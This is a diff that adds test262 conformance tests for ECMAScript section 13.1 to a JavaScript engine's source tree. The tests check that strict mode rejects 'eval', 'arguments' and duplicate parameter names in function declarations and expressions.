diff --git a/js/src/tests/test262/ch13/13.1/13.1-2-s.js b/js/src/tests/test262/ch13/13.1/13.1-2-s.js
new file mode 100644
index 000000000..0e3c4473a
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-2-s.js
@@ -0,0 +1,27 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13.1;
+ * It is a SyntaxError if the Identifier "eval" or the Identifier "arguments" occurs within a FormalParameterList
+ * of a strict mode FunctionDeclaration or FunctionExpression.
+ *
+ * @path ch13/13.1/13.1-2-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier 'eval' appears within a FormalParameterList of a strict mode FunctionExpression
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("var _13_1_2_fun = function (eval) { }");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-20-s.js b/js/src/tests/test262/ch13/13.1/13.1-20-s.js
new file mode 100644
index 000000000..064bc4deb
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-20-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13.1;
+ * It is a SyntaxError if the Identifier "eval" or the Identifier "arguments" occurs within a FormalParameterList
+ * of a strict mode FunctionDeclaration or FunctionExpression.
+ *
+ * @path ch13/13.1/13.1-20-s.js
+ * @description StrictMode - SyntaxError is thrown if the identifier 'arguments' appears within a FormalParameterList of a strict mode FunctionDeclaration when FuctionBody is strict code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ eval("function _13_1_20_fun(arguments) { 'use strict'; }");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-21-s.js b/js/src/tests/test262/ch13/13.1/13.1-21-s.js
new file mode 100644
index 000000000..2bf127083
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-21-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13.1;
+ * It is a SyntaxError if the Identifier "eval" or the Identifier "arguments" occurs within a FormalParameterList
+ * of a strict mode FunctionDeclaration or FunctionExpression.
+ *
+ * @path ch13/13.1/13.1-21-s.js
+ * @description StrictMode - SyntaxError is thrown if the identifier 'arguments' appears within a FormalParameterList of a strict mode FunctionExpression in strict eval code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ eval("'use strict'; var _13_1_21_fun = function (arguments) { }");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-22-s.js b/js/src/tests/test262/ch13/13.1/13.1-22-s.js
new file mode 100644
index 000000000..38e2e9726
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-22-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13.1;
+ * It is a SyntaxError if the Identifier "eval" or the Identifier "arguments" occurs within a FormalParameterList
+ * of a strict mode FunctionDeclaration or FunctionExpression.
+ *
+ * @path ch13/13.1/13.1-22-s.js
+ * @description StrictMode - SyntaxError is thrown if the identifier 'arguments' appears within a FormalParameterList of a strict mode FunctionExpression when FuctionBody is strict code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ eval("var _13_1_22_fun = function (arguments) { 'use strict'; }");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-23-s.js b/js/src/tests/test262/ch13/13.1/13.1-23-s.js
new file mode 100644
index 000000000..748044089
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-23-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13.1;
+ * It is a SyntaxError if any Identifier value occurs more than once within a FormalParameterList of a strict mode
+ * FunctionDeclaration or FunctionExpression.
+ *
+ * @path ch13/13.1/13.1-23-s.js
+ * @description Strict Mode - SyntaxError is thrown if a function is created using a FunctionDeclaration that is contained in eval strict code and the function has two identical parameters
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ eval("'use strict'; function _13_1_23_fun(param, param) { }");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-24-s.js b/js/src/tests/test262/ch13/13.1/13.1-24-s.js
new file mode 100644
index 000000000..b39fc5c19
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-24-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13.1;
+ * It is a SyntaxError if any Identifier value occurs more than once within a FormalParameterList of a strict mode
+ * FunctionDeclaration or FunctionExpression.
+ *
+ * @path ch13/13.1/13.1-24-s.js
+ * @description Strict Mode - SyntaxError is thrown if a function is created using a FunctionDeclaration whose FunctionBody is contained in strict code and the function has two identical parameters
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ eval("function _13_1_24_fun(param, param) { 'use strict'; }");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-25-s.js b/js/src/tests/test262/ch13/13.1/13.1-25-s.js
new file mode 100644
index 000000000..45b0026b5
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-25-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13.1;
+ * It is a SyntaxError if any Identifier value occurs more than once within a FormalParameterList of a strict mode
+ * FunctionDeclaration or FunctionExpression.
+ *
+ * @path ch13/13.1/13.1-25-s.js
+ * @description Strict Mode - SyntaxError is thrown if a function is created using a FunctionDeclaration that is contained in eval strict code and the function has two identical parameters which are separated by a unique parameter name
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ eval("'use strict'; function _13_1_25_fun(param1, param2, param1) { }");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-26-s.js b/js/src/tests/test262/ch13/13.1/13.1-26-s.js
new file mode 100644
index 000000000..c9f9410fd
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-26-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13.1;
+ * It is a SyntaxError if any Identifier value occurs more than once within a FormalParameterList of a strict mode
+ * FunctionDeclaration or FunctionExpression.
+ *
+ * @path ch13/13.1/13.1-26-s.js
+ * @description Strict Mode - SyntaxError is thrown if a function is created using a FunctionDeclaration whose FunctionBody is contained in strict code and the function has two identical parameters which are separated by a unique parameter name
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ eval("function _13_1_26_fun(param1, param2, param1) { 'use strict'; }");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-27-s.js b/js/src/tests/test262/ch13/13.1/13.1-27-s.js
new file mode 100644
index 000000000..aa5084332
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-27-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13.1;
+ * It is a SyntaxError if any Identifier value occurs more than once within a FormalParameterList of a strict mode
+ * FunctionDeclaration or FunctionExpression.
+ *
+ * @path ch13/13.1/13.1-27-s.js
+ * @description Strict Mode - SyntaxError is thrown if a function is created using a FunctionDeclaration that is contained in eval strict code and the function has three identical parameters
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ eval("'use strict'; function _13_1_27_fun(param, param, param) { }");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-28-s.js b/js/src/tests/test262/ch13/13.1/13.1-28-s.js
new file mode 100644
index 000000000..1dbda4fc5
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-28-s.js
@@ -0,0 +1,27 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13.1;
+ * It is a SyntaxError if any Identifier value occurs more than once within a FormalParameterList of a strict mode
+ * FunctionDeclaration or FunctionExpression.
+ *
+ * @path ch13/13.1/13.1-28-s.js
+ * @description Strict Mode - SyntaxError is thrown if a function is created using a FunctionDeclaration whose FunctionBody is contained in strict code and the function has three identical parameters
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+
+ try {
+ eval("function _13_1_28_fun(param, param, param) { 'use strict'; }");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-29-s.js b/js/src/tests/test262/ch13/13.1/13.1-29-s.js
new file mode 100644
index 000000000..a7c74290d
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-29-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13.1;
+ * It is a SyntaxError if any Identifier value occurs more than once within a FormalParameterList of a strict mode
+ * FunctionDeclaration or FunctionExpression.
+ *
+ * @path ch13/13.1/13.1-29-s.js
+ * @description Strict Mode - SyntaxError is thrown if a function is created using a FunctionExpression that is contained in eval strict code and the function has two identical parameters
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ eval("'use strict'; var _13_1_29_fun = function (param, param) { };");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-3-1.js b/js/src/tests/test262/ch13/13.1/13.1-3-1.js
new file mode 100644
index 000000000..47598c165
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-3-1.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.1/13.1-3-1.js
+ * @description eval allowed as function identifier in non-strict function declaration
+ */
+
+
+function testcase()
+{
+ try
+ {
+ eval("function eval(){};");
+ return true;
+ }
+ catch (e) { }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-3-2.js b/js/src/tests/test262/ch13/13.1/13.1-3-2.js
new file mode 100644
index 000000000..598e3faf6
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-3-2.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.1/13.1-3-2.js
+ * @description eval allowed as function identifier in non-strict function expression
+ */
+
+
+function testcase()
+{
+ try
+ {
+ eval("(function eval(){});");
+ return true;
+ }
+ catch (e) { }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-3-7.js b/js/src/tests/test262/ch13/13.1/13.1-3-7.js
new file mode 100644
index 000000000..c6bbd159c
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-3-7.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.1/13.1-3-7.js
+ * @description arguments allowed as function identifier in non-strict function declaration
+ */
+
+
+function testcase()
+{
+ try
+ {
+ eval("function arguments (){};");
+ return true;
+ }
+ catch (e) { }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-3-8.js b/js/src/tests/test262/ch13/13.1/13.1-3-8.js
new file mode 100644
index 000000000..cd9ef9a2a
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-3-8.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.1/13.1-3-8.js
+ * @description arguments allowed as function identifier in non-strict function expression
+ */
+
+
+function testcase()
+{
+ try
+ {
+ eval("(function arguments (){});");
+ return true;
+ }
+ catch (e) { }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-3-s.js b/js/src/tests/test262/ch13/13.1/13.1-3-s.js
new file mode 100644
index 000000000..ecc0385ea
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-3-s.js
@@ -0,0 +1,27 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13.1;
+ * It is a SyntaxError if the Identifier "eval" or the Identifier "arguments" occurs within a FormalParameterList
+ * of a strict mode FunctionDeclaration or FunctionExpression.
+ *
+ * @path ch13/13.1/13.1-3-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier 'arguments' appears within a FormalParameterList of a strict mode FunctionDeclaration
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("function _13_1_3_fun(arguments) { }");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-30-s.js b/js/src/tests/test262/ch13/13.1/13.1-30-s.js
new file mode 100644
index 000000000..b07291c1d
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-30-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13.1;
+ * It is a SyntaxError if any Identifier value occurs more than once within a FormalParameterList of a strict mode
+ * FunctionDeclaration or FunctionExpression.
+ *
+ * @path ch13/13.1/13.1-30-s.js
+ * @description Strict Mode - SyntaxError is thrown if a function is created using a FunctionExpression whose FunctionBody is contained in strict code and the function has two identical parameters
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ eval("var _13_1_30_fun = function (param, param) { 'use strict'; };");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-31-s.js b/js/src/tests/test262/ch13/13.1/13.1-31-s.js
new file mode 100644
index 000000000..1e47d2acf
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-31-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13.1;
+ * It is a SyntaxError if any Identifier value occurs more than once within a FormalParameterList of a strict mode
+ * FunctionDeclaration or FunctionExpression.
+ *
+ * @path ch13/13.1/13.1-31-s.js
+ * @description Strict Mode - SyntaxError is thrown if a function is created using a FunctionExpression that is contained in eval strict code and the function has two identical parameters, which are separated by a unique parameter name
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ eval("'use strict'; var _13_1_31_fun = function (param1, param2, param1) { };");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-32-s.js b/js/src/tests/test262/ch13/13.1/13.1-32-s.js
new file mode 100644
index 000000000..b1a4ef8b1
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-32-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13.1;
+ * It is a SyntaxError if any Identifier value occurs more than once within a FormalParameterList of a strict mode
+ * FunctionDeclaration or FunctionExpression.
+ *
+ * @path ch13/13.1/13.1-32-s.js
+ * @description Strict Mode - SyntaxError is thrown if a function is created using a FunctionExpression whose FunctionBody is strict and the function has two identical parameters, which are separated by a unique parameter name
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ eval("var _13_1_32_fun = function (param1, param2, param1) { 'use strict'; };");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-33-s.js b/js/src/tests/test262/ch13/13.1/13.1-33-s.js
new file mode 100644
index 000000000..bcffbd023
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-33-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13.1;
+ * It is a SyntaxError if any Identifier value occurs more than once within a FormalParameterList of a strict mode
+ * FunctionDeclaration or FunctionExpression.
+ *
+ * @path ch13/13.1/13.1-33-s.js
+ * @description Strict Mode - SyntaxError is thrown if function is created using a FunctionExpression that is contained in eval strict code and the function has three identical parameters
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ eval("'use strict'; var _13_1_33_fun = function (param, param, param) { };")
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-34-s.js b/js/src/tests/test262/ch13/13.1/13.1-34-s.js
new file mode 100644
index 000000000..aca13ea5d
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-34-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13.1;
+ * It is a SyntaxError if any Identifier value occurs more than once within a FormalParameterList of a strict mode
+ * FunctionDeclaration or FunctionExpression.
+ *
+ * @path ch13/13.1/13.1-34-s.js
+ * @description Strict Mode - SyntaxError is thrown if a function declaration has three identical parameters with a strict mode body
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ eval("var _13_1_34_fun = function (param, param, param) { 'use strict'; };")
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-35-s.js b/js/src/tests/test262/ch13/13.1/13.1-35-s.js
new file mode 100644
index 000000000..ebe7e71f2
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-35-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.1/13.1-35-s.js
+ * @description StrictMode - SyntaxError is thrown if 'eval' occurs as the function name of a FunctionDeclaration in strict eval code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ eval("'use strict'; function eval() { };")
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-36-s.js b/js/src/tests/test262/ch13/13.1/13.1-36-s.js
new file mode 100644
index 000000000..63d08a282
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-36-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.1/13.1-36-s.js
+ * @description StrictMode - SyntaxError is thrown if 'eval' occurs as the function name of a FunctionDeclaration whose FunctionBody is in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ eval("function eval() { 'use strict'; };")
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-37-s.js b/js/src/tests/test262/ch13/13.1/13.1-37-s.js
new file mode 100644
index 000000000..c2f27c0f1
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-37-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.1/13.1-37-s.js
+ * @description StrictMode - SyntaxError is thrown if 'eval' occurs as the Identifier of a FunctionExpression in strict eval code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ var _13_1_37_s = {};
+ try {
+ eval("'use strict'; _13_1_37_s.x = function eval() {};");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-38-s.js b/js/src/tests/test262/ch13/13.1/13.1-38-s.js
new file mode 100644
index 000000000..5d73e72c3
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-38-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.1/13.1-38-s.js
+ * @description StrictMode - SyntaxError is thrown if 'eval' occurs as the Identifier of a FunctionExpression whose FunctionBody is contained in strict code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ var _13_1_38_s = {};
+ try {
+ eval("_13_1_38_s.x = function eval() {'use strict'; };");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-39-s.js b/js/src/tests/test262/ch13/13.1/13.1-39-s.js
new file mode 100644
index 000000000..54eb5ee03
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-39-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.1/13.1-39-s.js
+ * @description StrictMode - SyntaxError is thrown if 'arguments' occurs as the function name of a FunctionDeclaration in strict eval code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ eval("'use strict'; function arguments() { };")
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-4-s.js b/js/src/tests/test262/ch13/13.1/13.1-4-s.js
new file mode 100644
index 000000000..ba0c1cee4
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-4-s.js
@@ -0,0 +1,27 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13.1;
+ * It is a SyntaxError if the Identifier "eval" or the Identifier "arguments" occurs within a FormalParameterList
+ * of a strict mode FunctionDeclaration or FunctionExpression.
+ *
+ * @path ch13/13.1/13.1-4-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier 'arguments' appears within a FormalParameterList of a strict mode FunctionExpression
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("var _13_1_4_fun = function (arguments) { };");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-40-s.js b/js/src/tests/test262/ch13/13.1/13.1-40-s.js
new file mode 100644
index 000000000..42d7bcbba
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-40-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.1/13.1-40-s.js
+ * @description StrictMode - SyntaxError is thrown if 'arguments' occurs as the Identifier of a FunctionDeclaration whose FunctionBody is contained in strict code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ eval("function arguments() { 'use strict'; };")
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
